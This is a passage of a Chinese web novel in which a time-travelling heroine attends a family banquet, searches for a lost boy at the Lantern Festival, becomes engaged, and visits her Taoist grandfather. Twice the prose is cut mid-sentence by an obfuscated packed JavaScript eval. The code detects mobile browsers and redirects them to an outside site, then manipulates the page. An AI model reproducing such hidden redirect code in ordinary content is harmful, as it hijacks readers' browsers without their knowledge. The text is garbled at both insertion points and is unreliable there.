明夷认认真真的走完所有流程,在最后向在场所有来宾行礼感谢时,顺便瞟了眼站在左侧边的吴中孚。只见其穿着杏色织金直身袍,头上戴着东坡巾,身量比上回见面高了不少,昔日团子似的小男孩,不过短短几个年头,就长成如今挺拔翠竹的模样。 少年触见明夷的目光,眼神顿时有些慌乱,少女心里纳闷,从开始时你这小孩的眼睛就没从我身上挪过窝,姐姐我人美心善分你一个眼神,咋还给人整慌张了?平日写信挺稳重一孩子,啥梗都能接,还以为这小书袋子这些年长进不少,结果还是禁不住逗。 家宴早已备下,雕花紫檀八仙桌铺着洒金红绸,每人面前的青花瓷盘摆的整整齐齐,桌中央还置了个铜胎珐琅炭炉砂锅,正冒着氤氲热气。 明夷脱下对襟披风,顺手接过林时夏的,一并交由丫鬟挂好。两人挨着坐下,趁着等菜的空当明夷贴着林时夏的耳朵悄悄说着小话 “林大小姐快来品评一下,我今个表现如何?” 看着友人得意洋洋的表情,林时夏眯着眼睛装模作样的将其打量一番,突然将脸一垮,开始叹气。 一口气还没叹完忽感觉手腕一紧,瞄见明夷危险的表情,时夏姑娘求生欲瞬间爆棚,忙不迭道:“美!太美了!明日我就要编一本‘临安十二钗’,你排榜首!” 明夷摇了摇友人手上的赤金铃铛镯,谦虚表示:“吹得有点过了,嗯…那个十二钗的册子,后天要是没呈到我案上,我将引爆整个临安城!” 林时夏一把按住明夷双手,嫌弃道:“你这忒不要脸了,平日人前一幅温雅柔善的唬人模样,到我这就成了脸皮厚比墙的无赖,啧啧啧真该让那一众成天夸你的夫人小姐们看看。” 明夷嘿嘿一笑,轻轻将手一抽,给了友人一个大大的熊抱。林时夏猝不及防,一时叫唤出声,引来了正在交谈的几位夫人们的注意。徐夫人促狭地看了眼两个女孩,顾夫人轻轻咳嗽两声,提醒女儿人前注意形象,悠着点闹。 明夷眨眼回应表示收到,拦在林时夏肩膀处的手臂猛得收紧,趁友人还没反应过来,又笑嘻嘻地松开,拉着人家的手上下摇摆,黏黏糊糊道:“喜欢你。” 林时夏看着少女一脸诚恳的模样,努力绷直勾起的嘴角,板着脸道:“刚刚害我失礼,说吧,有什么好东西孝敬我?” 明夷拉着椅子凑近,小声道:“我新做了一样糕点,保管你喜欢!” 吴中孚仗着自己年龄小,没有和王元亨几个坐到一块,而是坐到了明夷的对面。自坐下始就想方设法的想同明夷说话,奈何其一直拉着身边的黄衣少女讲个不停,等来等去,等到上菜了也等不到一个空当,只得先作罢吃菜。 丫鬟最先端上来的是一道砂锅全家福,里头集走油肉、油豆腐、蛋饺、海参、瑶柱于一炉,汤底以火腿老鸡吊鲜,是明夷冬日里十分喜欢的一道菜。 忙了一天明夷早就饿得不行,现下这张桌上都算是自家人,少女乐得自在,盛了满满一碗碧梗饭吃得痛快极了。 菜肴陆陆续续上齐,八宝葫芦鸭扎成葫芦形状蒸制,里头填满了糯米、莲子、火腿、冬笋等八宝。清蒸鲥鱼覆酒酿清蒸,鳞下油脂化入鱼肉,口感鲜嫩非常。还有那蜜汁火方,用的是金华火腿取芯,蜜渍后切片,再佐以莲子、桂花,味道咸甜交织…… 今日家宴的菜单是明夷拿的主意,所有菜肴都是她一道道试出来的,待到尾声,明夷有些迫不及待地问到桌上众人:“诸位尝着这些菜肴可还合口味?若有不足之处,但说无妨?” 吴中孚可算逮着说话的机会了,女孩话音刚落,就立马积极道:“我以为,今日席上珍馐,色香俱佳自不必说,单是这道砂锅全家福,便当得起‘海错山珍聚一鼎’的赞语。寒冬腊月里这般热腾腾地啖上一盏,五脏庙里真真受用得很。明姐姐若是方便的话,不知能否将方子写我一份?” 明夷大喜,赞赏道:“阿孚好品味!这道菜也是我最得意的,所以特地嘱咐作为头菜第一道端上来。至于方子,这简单,等会我回屋写给你就是了!” 一方交谈下来,两人目的达成,俱是满意得不行,恰好甜汤也端了上来,大家各自舀着杏仁酪又是一番闲聊。眼瞅着时间差不多,明夷接过顾夫人使给她的眼色,端起面前的琉璃杯,起身向众人敬酒祝福。 吴中孚端着茶杯,发呆似地看着少女落落大方说着祝酒词的场面,直到被徐夫人推了一下,才连忙举着茶杯站起来予以回应。 明夷敬了一圈,恰巧看见男孩一幅呆头鹅样,差点笑出声来,得,这孩子白长几年个子,人却还和小时候一样呆。 上元佳节,临安城十里长街人头积攒,各色花灯缀满朱楼檐角,火树银花映得夜空亮如白昼。城河桥上,关锁尽开,人马畅通无阻,琉璃瓦当彩光四射,歌楼舞榭上笙箫管乐齐鸣。 明夷与林时夏手执花灯穿行于人潮之中,这是她第一次获准去外头闹元宵,无论看见什么都兴奋不已。忽见一座八角琉璃灯楼前围满了人,灯下垂着上百条朱红笺,明夷赶忙好奇地围了上去,只见条笺缀满了小字,原来是在猜灯谜。 林时夏取一红笺,指到:半部春秋(打一字) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470918|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明夷略一思忖,扬声道:“谜底是秦。” 林时夏挑挑眉,转身又取下一张,正要递给明夷,却听后者突然有些焦急道:“阿孚呢?你看见阿孚了吗?刚刚他还跟在我们后面的!” 林时夏连忙朝四周看了一圈,果然连吴中孚人影都没见到,明夷声音已经带着哭腔:“肯定是刚刚挤过来看猜灯谜的时候走散的!我糊涂啊,光顾着玩怎么把阿孚都忘了,街上人那么多,阿孚一个小孩子万一有人贩子怎么办啊!” 边说着边拉着林时夏穿过人群,循着来时的道路左顾右盼,林时夏抓了好几个路人询问,结果还是一无所获。 二人行至城隍庙前,正见傀儡戏台高悬,三尺红绸后,老艺人十指翻飞,操纵木偶演上了一出《红拂夜奔》。可惜明夷心里着急,根本无暇看那李靖剑指星河,两人着急忙慌地找了两刻钟,还是一无所获。 街上人头攒动,说句摩肩接踵也不为过,如此茫茫人海中,找一小儿又谈何容易?明夷跑得呼吸急促,眼泪越流越多,心里绝望也愈来愈盛。都怪她,明明出门时都答应母亲和淑仪要看顾好弟弟,怎么就只顾着自己玩呢?阿孚发现找不到她们该有多害怕,万一有居心不良的人靠近他——明夷只觉得自己要昏厥了。 林时夏拉住友人的胳膊,将其脑袋转过来,喘着气道:“明夷你先冷静,我们现在这样无头苍蝇似的很难找到人,你说过阿孚很聪明的,人找人,找不到人,我们既然现在找不到他,但可以在一个地方等着他,你想想,街上最高最亮的地方在哪里?” 明夷双眼一亮,“灯楼!对,我们去灯楼!阿孚那么聪明肯定知道去最显眼的地方等人!” 话音未落,明夷就拉着友人狂奔起来,头上帷帽东歪西倒几次欲掉,少女脚步不停只是伸手草草扶住。 气喘吁吁跑到灯楼下,明夷边拍着胸脯顺气边掀开帷帽左右张望,就在快要绝望之时,忽然看到灯楼最高的阶梯处有一个杏色的人影,由于隔得有些远,明夷看不清那人的面容,但若现在跑过去又怕那人离开,于是直接大喊道:“吴中孚!” 阶梯处的杏色人影果然看了过来,一边下楼一边喊道:“明姐姐!我在这里明姐姐!” 明夷身体瞬间软了下来,林时夏手疾眼快将人扶住。还未等站稳,少女就提着裙子急匆匆地往阶梯那边跑。 灯楼下方似在表演什么节目,围观的行人自觉将中间围成一块空地,一个赤膊男子正挥着一个巨大的木勺 “当心!” 柳木勺盛起极高温度的铁水猛击高空,霎时,漫天金红铁花如银河倾泻而下,人群欢呼推挤间,明夷踉跄着后退,正要摔倒之际,忽被一双手稳稳扶住肩头。 明夷猛地回头,顶上帷帽因惯性滚落,月光皎皎如霜,少女的脸庞在暮色里泛着薄胎瓷般的透光感 “明夷?!” “方韫之?” 两人异口同声,都非常惊讶,明夷不自在地扭扭肩膀,稍稍后退两步,方韫之赶紧将手收回,弯腰捡起明夷掉落的帷帽。 “你怎么在这里?” “先不和你说了!” 明夷来不及接过帷帽,猫着身子又往前冲,好不容易走到最前面,那打铁花的艺人又向空中舞了一木勺,滚烫金浆扬上天际,轰然炸裂成千万颗赤红星子,似熔化的日轮碎屑般倾泻而下。 吴中孚费力挤出人群,抬头的一瞬间,恰好看到的就是这样一幅场景: 铁水撞击的爆鸣声裹着人群中的欢呼炸响,金红铁花在墨色天幕上化作洋洋洒洒的星雨,少女白衣红裙伫立在旁,滚滚热浪掀得她鬓发飞扬,万千花灯在其身后亮起,恍似画中伊人。 28. 订婚 一簇铁花朝着少女的方向袭来,明夷下意识回头躲避,方韫之的折扇“唰”地展开,挡在了她的面前,火星擦过蚕丝扇面发出细碎的噼啪声,明夷连忙颔首道谢 “真是谢谢你了,这扇子我改日赔你一把。” 方韫之将折扇收回,把帷帽盖到了明夷头上,细心帮其调整好位置,摇头道:“不必。” 吴中孚此时已经跑了过来,警惕地看向明夷旁边的青衣男子,正准备伸手将少女拉过来时,忽然被不知从哪窜出来的林时夏扯到了一边。 “?” 吴中孚疑惑地看过去,想要挣脱钳制上前。 林时夏死死抓住吴中孚的手,眼冒精光地看着前面两人,有些激动道:“月上柳梢头,人约黄昏后,上元佳节诚不欺我!中孚弟弟你别动,你知不知道,要不是我拉住你,你就要打乱一条好红线了!” “林姐姐真是何意?”吴中孚死死盯着与明夷说话的年轻男子,面露不虞。 “你不知道吗?那人叫方韫之,是明夷父亲义兄的儿子,他和明夷两人可是定了娃娃亲的!” “定……定亲?我怎么没听说过?” “还没正式下定,但已经差不多了,两家人早就默认了,啧啧啧,英雄救美,好时候啊!”林时夏看着两人的互动笑得一脸灿烂,像是恨不得两人原地成亲。 吴中孚趁林时夏不注意时挣脱了桎皓,快步走到明夷旁边,不动声色地将人往后拉了拉,有些颤抖地说道:“明姐姐我可算找着你了!你们刚刚去哪里了?我明明一直跟着你的,可…可人太多了,我一不小心就跟丢了,对…对不起……” 男孩脸色煞白,眉头紧皱,嘴唇抿得直直的,低垂着眼帘,一幅害怕惶恐的模样。顿时看得明夷愧疚更增,立马将方韫之撇到一边,拉着吴中孚的手安慰道 “是明姐姐的不对,是我没看好你,你等会想要什么、想干什么,姐姐都依你!幸亏你没事,幸亏……” 吴中孚有些发抖地回握住明夷的手,少女以为男孩还在害怕,连忙将手握得更紧,安抚道:“别怕,别怕,明姐姐在这里,乖,别怕。” 男孩抬头,漆黑的双眸亮晶晶的,似乎闪着泪光,小小声道:“我可以抱抱明姐姐吗?” 话还未说完,明夷就一把将男孩扯到怀里,安抚地拍着他的背。吴中孚紧紧环住少女的腰,将脸埋到她肩膀处。 林时夏看着面前三人心里懊恼,抬手和方韫之打了个招呼,又看向明夷 “你刚刚可太危险了,看都没看清就往前冲,要不是方韫之拉住你——” 明夷打断友人的关心,有些不好意思道:“我当时着急嘛,而且我也道过谢了……” 说着又看向方韫之,感谢道:“你这折扇我一定得赔你一把,真的太谢谢你了,额…那个,我爹不是说你们一家回徽州过年了吗?” 方韫之没再推拒明夷赔偿折扇的要求,只道:“父亲有些事就提早回来了,正打算改日上门拜访同光叔和顾姨。” 明夷点点头,“行,等你来我家时我把折扇备好给你。” “折扇就不必了,你可以做一个扇插给我吗?”感觉有点唐突,方韫之又补充道:“之前在你家家塾读书时,同光叔的扇套我印象深刻,所以…当然要是不方便的话当我没说。” “扇套是吧,没问题,不过可能没有那么快哦,我届时做好了托我爹带给你。” 方韫之拱手道:“那就多谢明夷妹妹了。” 明夷摆摆手,“嗐,客气,本来就是我谢你应该的。” 身后的老匠人一边大喊着“今晚最后一次啦!”一边将铁水泼向高空,如星子般的火花散落在人们的喧闹声中,拥挤的人群如潮水般四散退去,吴中孚不知被谁得胳膊推得一踉跄,径直往明夷的方向倒去。 “那到时候——欸!阿孚小心!” 少女转头,一手拽住男孩的胳膊,却听到其“嘶——”的抽气声。吴中孚下意思的想抽手遮掩,却被明夷眼疾手快的抓住。 只见男孩手肘处的衣料已经磨破,露出里面沾着血迹和灰尘的里衣,不觉大惊 “这是怎么回事?” 吴中孚垂下眼帘,有些扭捏道:“不小心摔了一跤,不碍事。”稍顿了一下,又道:“嗯……明姐姐不是一直想看傀儡戏吗?我刚刚路过城隍庙看见有人在演,咱们一起去看看吧。” 明夷看着男孩因为疼痛皱在一起的眉眼,只觉得心里愧疚如潮水般将她淹没,连忙心疼道:“走走走,不看不看,咱们回家给你处理伤口。”说着就要拉人往回走。 吴中孚制止了明夷的动作,抬首扬起嘴角笑道:“我没事,就一道小口子,晚点再处理也不碍事,姐姐难得出来一趟,就该把想看想玩的事都做了。” 听见男孩话里话外都在为自己着想,明夷大为感动,更加坚持道:“不行,咱们回家,我也玩得差不多了,赶紧给你处理伤口才是要紧事!” 吴中孚故作为难得皱起了眉,道:“其实是我想去看,刚刚忙着来灯楼都没看到,明姐姐才不是说想干什么都依我吗?能不能陪我去城隍庙看傀儡戏呢?” 男孩懂事的样子让明夷再说不出什么反对的话,只是走到男孩左侧,将其受伤的手臂护在身侧,一行四人便逆着人流朝城隍庙走去。 中途看见卖花灯的,方韫之突然来了句“稍等”,快步走到摊前提了一只莲花灯递给明夷,迎着少女不解的目光,方韫之有些不好意思道:“刚刚你手上的花灯掉地上被人踩了,我看这街上的女子手上都有花灯,所以就——” 明夷一拍脑袋,“是诶!你不说我都忘了,难怪感觉手空空的,哎呀真是谢谢你啊。” 说着又正好看见几个提着花灯的小孩经过,下意识地看向两手空空的吴中孚,皱眉道:“咦?阿孚你怎么也没有?快快快,去摊子那选一个,小孩元宵节不提灯像什么样子,别人有的我家阿孚也必须有!” 少女叽里呱啦说完一长串,也不理吴中孚拒绝的意愿,直接将人拉到摊前,自作主张买下来一个鱼龙灯来。 男孩杏袍提灯,宽大的衣袖随风微微鼓起,下半张脸隐在阴影里,眉心的红痣却在满街的灯火映照下越发显得妖冶,一时将明夷和林时夏看呆了去,嘴里喃喃道:“阿孚你提着灯的模样也太不像人了吧……” “嗯?”男孩神情微怔,这……不像人是指? 还是林时夏反应的快,连忙补救道:“就是说你太好看了,好看的不像人!” “对对对!”明夷总算回过神来,竖着大拇指夸赞道:“阿孚漂亮的跟神仙似的! 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为人正直良善,洁身自好,从不与一起读书那群纨绔寻花问柳,屋内也没有通房。两个孩子相识几年,虽见面不多,但日常也有书信往来,也算有一定感情基础,方才吃饭时,也能明显看出这孩子对女儿有意。 明夷所想其实与母亲差不多,她知道,在这里她很难逃脱嫁人的命运,自由恋爱更是想都不要想。自己父母虽较之他人算是开明,但婚姻大事上也不会容许她有过多的自主权。 这个方韫之有家世、有模样、有前途,与自己也算相熟,算不得盲婚哑嫁。而且家庭人口简单,门风也好,想是不会出什么宠妾灭妻的破烂事……总之,于这个时代的女子而言,的确是良配。 只是,明夷苦笑,自个儿在心里给人啰里啰嗦列了一大堆优点,是在自己说服自己吗? 明夷毕竟不是这个时代的人,虽也渐渐习惯眼前的生活,对于过去的事情,想起的时间也越来越少……但是,那些从出生起就围绕在旁的东西,早已深深刻入骨髓成为了她这个人的一部分,无端让她舍去,无异于削骨割肉。 理智告诉明夷,自己最终会接受这个婚约,可她也不想这么快、这么毫无芥蒂的违背过去的自己,少女缓缓开口,有些沙哑道:“娘亲可以再给我几日好好想想吗?” 顾夫人点点头,婚嫁于女人来说是大事,大半辈子都要循着它过。她理解女儿的茫然慌张,当初她又何尝不是呢?只是那时的她没有好的父母为其打算,但好在她的女儿有。 明夷接下来几天除去傍晚在自己的小院里散散步,基本就没出过房门,只是一直拿着绣棚不知在做什么。待到第四日早晨,明夷敲开了不系园的大门,将做好的扇插交给父母,叮嘱将其转交给方韫之,告诉他们,自己愿意。 “但女儿也有个请求,能不能只先订亲,女儿不希望那么早嫁人,想在家多陪陪爹爹娘亲。”明夷许是这几天没有休息好,眼下黛青微深。 顾夫人摸着女儿柔软的头发,“那是自然的,你爹爹马上去和方家说,娘也舍不得我的明儿那么早嫁人。” 王同光立马研墨,紧急去书一封至方府,信中言辞恳切,暗含威胁,无不流露出涓涓爱子之情。 又过了几日,方家请了一位退休的阁老上门下聘,两人的婚期定在明夷十八岁那年的十月。 29. 明夷的烦恼 自定亲后,方韫之来信愈发勤快,两家走动也比以往多了不少,就连林时夏得了消息后,对明夷的调侃也增多。 少女端坐在红木西番莲纹书案前,翻阅着刚收到的信笺,突然往下一趴,信纸飘飘落地,双手直直伸着,侧脸紧紧贴着书案,闭着眼睛唉声长叹。 麦冬镇定地叠着衣服,眼皮都没抬一下,她家小姐最近总这样,最开始还以为是有什么事,后面次数多了,就当没这个事。 明夷最近是真的害怕收到林时夏和方韫之的信,前者总爱调侃她,自元宵灯会后,坚定认为他俩是杜丽娘和柳梦梅(注:无波折幸福版),来信必问他俩近况,俨然CP粉头的架势。 她是说也说了,骂也骂了,奈何林时夏坚定认为明夷只是害羞,经常随信附赠她从四处收罗来的各类感天动地爱情故事,鼓励明夷多学习多模仿,争做魅力女人第一人。 对此,明夷只有两字想说:滚呐!!! 额…不过林时夏找得那些小故事还挺好看的,有上辈子看网文的感觉了。 至于方韫之,明夷又忍不住长叹一声,这回倒是成功引得麦冬的侧目,少女尴尬敛眉,呃呃…有一点点夸张了哈,但是!这位才真的是重量级! 方韫之同学的来信频率从之前的一月一封增添至一月三封,信中言辞较之以往更加亲近不说,还总喜欢寄点小玩意过来,什么万花筒、傀儡儿、果核雕……明夷听过的,没听过的,都有,她都怀疑他是不是成天在大街上读的书——专门好扫货。 收到礼物自然是开心的,但经常收到明夷表示自己压力也很大,因为她也要想办法回礼啊!她可不像方韫之可以在外头游荡,天天只能待在家里,看花看书看鱼,物资贫瘠的要命。 她能送什么?古代又不像现在有“当日达”,所有需要保鲜的东西通通送不得,那还剩下什么?哈哈,最标准的答案是绣点小物件,例如扇插、荷包、扳指套之类的。 可是!她不想,也不能绣那么多,好端端的消遣小爱好一下子变成工作任务,这谁受得了。 她也曾旁敲侧击的提醒过,信到就好,物件就不必了,奈何这人完全听不懂,几番提醒下来,明夷就像实验失败的学生,实验目的没达到,但得出了实验对象有问题的结论——这人是个没情商的傻子,听不懂她的弦外之音。 事情不单只有这一桩,更重要的是,明夷根本不知道该如何回信! 她看得出方韫之喜欢她,信里一些青涩的问候,若是写给别人的,她一定会充满感慨的大赞“青春啊”、“纯爱啊”之类的。但现在主角是她——拥有十五岁皮囊和二十几岁灵魂的时空穿越者,看见那些青涩的话语和诗词,只觉得浑身尴尬的快给宜秋院扣出个地下室来了。 也不是说不能培养感情,只是,可不可以等人成年再说?现在跟人玩青涩初恋,她只觉得自己在犯罪。 看来看去,三个笔友,只剩吴中孚最得她心,这孩子还是老样子,分享生活和趣闻,认认真真回答她各种无厘头的烂梗,明夷回起信来手拿把掐,洋洋洒洒就是一大片。 吴中孚既不知明夷的水深火热,也不知明夷已经定亲,只是欣喜于最近他的明姐姐在信中比以往热情很多。 男孩并不太分得清各种喜欢,自元宵一别后,他只知道自己好像更喜欢明姐姐了,恨不得能天天和她待在一起。可是男的和女的怎么样才能永远在一块呢?除去母子关系,书上说,是成亲。 吴中孚沉思片刻,认为这是条可行之路。奈何还未等他想出什么计策,就从徐夫人口中听到明夷定亲的消息,对象就是元宵节那晚的青衣男子。 这消息对于一个还未满十二岁的男孩无异于晴天霹雳,当日就回去昏昏沉沉睡了一天,第二天给徐夫人留了一封书信,就自己带上小厮坐马车去临安找明夷。 天知道明夷在不系园内看到这突然出现的小孩有多么惊讶,男孩一见着她就像迷路小狗找着主人似的,冲上来将她一把抱住,好不容易将人拉开,低头一看,通红的眼眶正挂着几滴欲坠不坠的泪珠。 明夷一头雾水,求助似的看向母亲,顾夫人双手一摊,表示自己无能为力,然后转头又让冬青端了一碟五香瓜子上来,嗑得开心极了。 明夷无奈,只得先牵着人坐下,温柔地问道:“阿孚怎么过来了?淑姨知道吗?” 吴中孚点点头:“我给伯母留了信的。” “那你怎么突然过来这里啦?是遇到什么事情了吗?”明夷循循善诱 吴中孚一下有些扭捏,吞吞吐吐半天说不出一句话来,明夷佯怒:“阿孚要是再说不出个所以然来,我就现在让人备上马车送你回家!” 男孩瘪了瘪嘴,终于道:“我听见伯母说你和别人定亲了,所以我想来问一下是不是真的?” 明夷好笑到,就为这事? “你可以写信问我呀,不必自己跑来一趟,要知道这种行为很危险的,现在街上人贩子特别多,特别喜欢你这长得——” “所以明姐姐你真的要和元宵节遇见的那个人成亲吗?”吴中孚打断道 “额……是这样没错,不过——” “那姐姐是不是和他成亲之后就会住在一起?” “呃……按理说是这样的,不过——” 吴中孚得到了肯定的答案,泪珠终于顺着脸颊滚了下来,抽噎道:“那我以后是不是就不能和明姐姐在一块了……” 听到这,顾夫人再也忍不住,噗嗤一声笑了出来。明夷转头瞪了自己娘亲一眼,满头黑线,这算什么,原来就为这事?她觉得自己现在很有必要把王堇妤叫过来一趟,他俩一定很有共同话题。 但能怎么办呢?这孩子为她的事来的,母亲摆明了只想看戏,好说歹说把人哄住了,然后将人领去吃饭。 夜晚明夷躺在榻上,盯着头顶的月色秋罗帐子,捶着海棠软枕,长吁短叹,这都什么事啊! 奈何日子总是要过的,这床帐子也不能一直躲着不出,明夷捊了捊袖子,充满干劲的鼓励自己,加油!王明夷,你有的是力气和手段! 于是乎,明夷以雷霆手段(并没有)迅速(也没有)将三人调教得妥妥当当。 林时夏忙着编她的话本集,对着上百对才子佳人(有些还不是人),无数个缠绵悱恻的爱情故事,已经表示自己看不上明夷这边龟速进展,寡淡非常的爱情了。 至于方韫之,在明夷孜孜不倦,不断加量加码的隐晦提醒下(到最后也不隐晦了),终于!他东西送少了,甚至信也少了!明夷对自己的劳动成果大为赞赏,结果过几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492661|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天从父亲口中知道,为了准备乡试,方韫之被夫子和方大人联手制定了一整套学习计划,可怜孩子现在就连上茅厕都是捧着书的,自然没功夫再与明夷写信。 而到了吴中孚,明夷装模作样地捋着自己并不存在的胡须,老成道:“这孩子最让人省心!” 那日吴中孚突然到访,明夷将人安慰好后,又留人住了几天,期间天天陪着他吃饭读书钓鱼。男孩也很乖,让干什么就干什么,模样长得俊,谈吐又好,待人接物更是客气礼貌的不行,很快就夺得了陈、桑两位夫人并一众丫鬟婆子的好感。 为了将男孩彻底安抚好,明夷点头如捣蒜,答应了一系列,例如要多给他写信,成亲之后也要和他多见面,以后要做邻居等要求,终于,将人稳稳当当的送回了钱塘。 吴中孚也知道明夷虽然答应他那么多要求,但其实并没有太放在心上,虽有意想多赖一段时间,奈何四月的府试即将开考,只得回去读书。 而明夷之后晓得后,若有所思道,原来科举考试还有这般予人清静的好处,果然万事万物都要从生活中来生活中去,以前分析科举制度的影响,看来答案还是不够全面啊。 但凡她还在读研,她马上就可以从这个角度出发,运用新文化史学和微观史学还有感官史学的理论和方法,写一篇论文出来,保证前无古人后无来者,然后拿去投会议,投期刊,发核心,从此走上…… 七月中旬,王令妤带着新生的女儿和丈夫回了趟娘家。七个月大的小婴儿生的粉雕玉琢,府里的几个姑娘稀罕坏了,争着去抱她。 两个妤并明夷呈半圆状围着小团子菱姐儿,使尽浑身解数吸引她的注意让其选择让谁抱。菱姐儿毫不犹豫地朝明夷伸出了小手,咿咿呀呀地要她抱。明夷抱着小孩,得意地看着两个妤,表示没办法,这就是魅力。 王堇妤翻了个白眼,自顾自地去找自己姐姐说话,少女一个飞扑,八爪鱼一般把在王令妤身上,紧紧吊着她的臂膀子和脖颈子,又是一通鬼哭狼嚎,黏黏糊糊地不愿意离开。 现可是七月的天啊,穿着纱衣都嫌热,更别说这么大个人一直挨着你。王令妤满脸无奈,想推又推不掉,只得仍由妹妹像块牛皮糖似的黏着,额头不一会就冒出细密的汗珠。 明夷抱着菱姐儿离远了些,表示:你们这些姐控真可怕。 王贞妤一直是家里头最小的女孩,现在有了个比她更小的外甥女,喜欢的不行,一直站在明夷旁边逗她。明夷抱了一会也觉得有些热,便将人交给王贞妤,后者欢欢喜喜地接了过去,与菱姐儿玩得不亦乐乎。 晚上在不系园吃饭时,明夷提起菱姐儿的可爱,顾夫人回忆往昔,笑眯眯地说了些明夷小时候的事,并下结论,她小时候比菱姐儿还要可爱的多!明夷尴尬笑笑,正想揭过这个话题,谁知顾夫人又突然说道 “明儿以后要是有了孩子,肯定非常漂亮!” 明夷大囧,贴心提醒道:“娘亲你现在和我说这个是不是不太合适?我还没出阁呢,我会害羞的。” 顾夫人白了闺女一眼:“你看你像是害羞的样子吗?别以为我不知道你和林家那小丫头看得话本子里都写了啥,你娘我可是过来人。” 明夷嘿嘿直笑,给母亲夹了个糟鹅掌,殷勤道:“吃菜吃菜。” 30. 王老太爷 王老太爷年近古稀,一直在山中道观修行,近年来身体渐差,却总不愿意下山回府修养,硬是要守着那偏僻的道观。 熹宁十八年,小暑刚过,老爷子病情又有严重的架势,王家三房众人为显孝心,遂决定拖家带口的上山探望。 要说明夷这位祖父,在当地也算是个奇人。少年时痴迷于三洞四辅,不喜四书五经,甚至离家上山拜师。结果自己有权有势的爹妈去那道观大闹一场,将人领回去一通管教,忽然就收了心好好走科举仕途,一路高歌猛进,最后以正三品身份荣休。 听说他当年上书致仕时,年岁不足五十,圣上驳回三次诚心挽留,离入阁也只差临门一脚,但还是毅然决然回归故里,收拾上山,回了儿时那个留不下的道观,做了个老道士。 王老太爷虽然在仕途上春风得意,但在家庭上却是一塌糊涂。袁老太太是父母做主娶回来的,而王老太爷自打收心读书后,不知是怄气还是心灰意冷,表现的就像除了这儒士之路,其它都如过眼烟云般,从不放在心上。家里大小事物从来不管,与妻子关系也很冷淡,至于几个孩子,只能说是稍有照拂。 袁老太太在最初时,也曾幻想过与丈夫琴瑟和鸣,但满腔柔情全都付诸冷漠,终于,在她生下王同光后,彻底心灰意冷,从此以后只专心打理府上一并事物,夫妻二人说句陌生人也不为过。 明夷从府里各个角落东拼西凑将这上上代的恩怨听的七七八八,一时间唏嘘不已,悲剧源头竟是鸡娃父母,月亮与六便士的议题千古不衰。有道是人生分愿各有赋,究竟是卯足力气去登那天子船,还是混迹市井醉卧酒家眠,到底惆怅梨花一地雪,茫茫一片识不清呐。 不过嘛——明夷正色道,义正言辞地啐了一口,这样掩盖不了他是渣男的事实! 过几日晨光初透,王府几辆青幔马车早已候在西北角门口。王老太爷登上的那座山叫玉华山,修行的那座观叫玉华观,就在城外郊区,坐马车约两个时辰可至山脚。 是的,山脚。 明夷仰望着这座犹如原始丛林般郁郁葱葱的大山,严重怀疑,这真的有路吗?呃…人走的那种。 事实证明,还真有,并且修得挺板正。 蜿蜒而上的石板阶大概有上千级,明夷一开始三步并俩,欣赏着沿途风光,兴致盎然,待行至三分之一处就不得行了,撑着膝盖气喘吁吁。 鹅黄薄纱马面上飘飘欲飞的银蝶被泥土沾染成飞不动的死蝶,一路连爬带休,终于窥见了山腰处那抹褪了色的朱红飞檐。 这座历经风雨的道观如同被岁月遗忘的符纸,静静隐在葱绿的山林间,山门前的银杏或逾千年,参天伞盖似要将万物庇护在内,如一道结界般守护着这方清静之地。 王老太爷的丹房设施简单,也就一榻一桌一椅一烛台而已。见子孙辈们的到来,老爷子慢吞吞地撑着胳膊从床上坐起,笑眯眯道:“不是让你们不用来吗?我这身体老毛病了,好不好的我也活了这么久了,倒是山里夜凉,光儿身体不好,别受了寒。” 王同光欠身谢过父亲的关心,王老太爷颔首,目光掠过几个孙子孙女,突然顿了顿,又很快扫了过去,简单问了孙辈们几句,便让这群大人孩子下去休息。 大家行礼告退,明夷跟在父母后头,正要转身离开,忽然被王老太爷叫住 “明夷先过来一下吧。” 明夷与这位祖父并不相熟,基本没见过面,两人可以说和陌生人没什么差别,忽然被点名,自己也很疑惑,但还是走上前,乖乖对着王老太爷行了个礼,恭敬道:“祖父找明夷有什么事吗?。” 王老太爷眯着眼睛将少女细细打量了一番,眉头皱成深深的川字。明夷站在那一动不敢动,老人眼神锐利,少女莫名有种被看穿的感觉,内心惴惴不安。 似是感受到孙女的紧张,王老太爷舒展了眉头,目光也变得柔和,捋着自己花白的胡须和蔼道:“你这名字我很喜欢,当初你父亲执意要给你取名‘明夷’,甚至求到了我这里来,他与我交流甚少,想来也是印象深刻啊。” 明夷尴尬一笑,这让她怎么答?难道来一句:哎呀老登,你也知道你这爹当得不行啊? 当然也就想想,啊不,调侃地想想,嘴上还是恭敬道:“明夷谢过祖父。” 王老太爷摆摆手,“这有何谢?各人有各人的造化,这名字合该是你的。我们祖孙二人也算有缘,今个儿我见你突然想到一句话,你记得就记得,记不得忘也不是什么大事。” “明夷谨遵祖父教诲。” “明儿不用那么拘束,‘夫物芸芸,各复归其根’,这是我送你的,待会儿出去了也不必与旁人说。” 说完又摆摆手,“赶紧走吧,我要休息了,你们可太吵了。” 明夷只得咽下满腹疑问默默退下,嘴里不自觉默念着祖父送她的那句话,心里头突突的——他可能知道了。 大房三房在山里吃过晚饭后便趁着日光下山回家了,唯独明夷一家三口留在道观过夜,这也是明夷来此的主要目的。 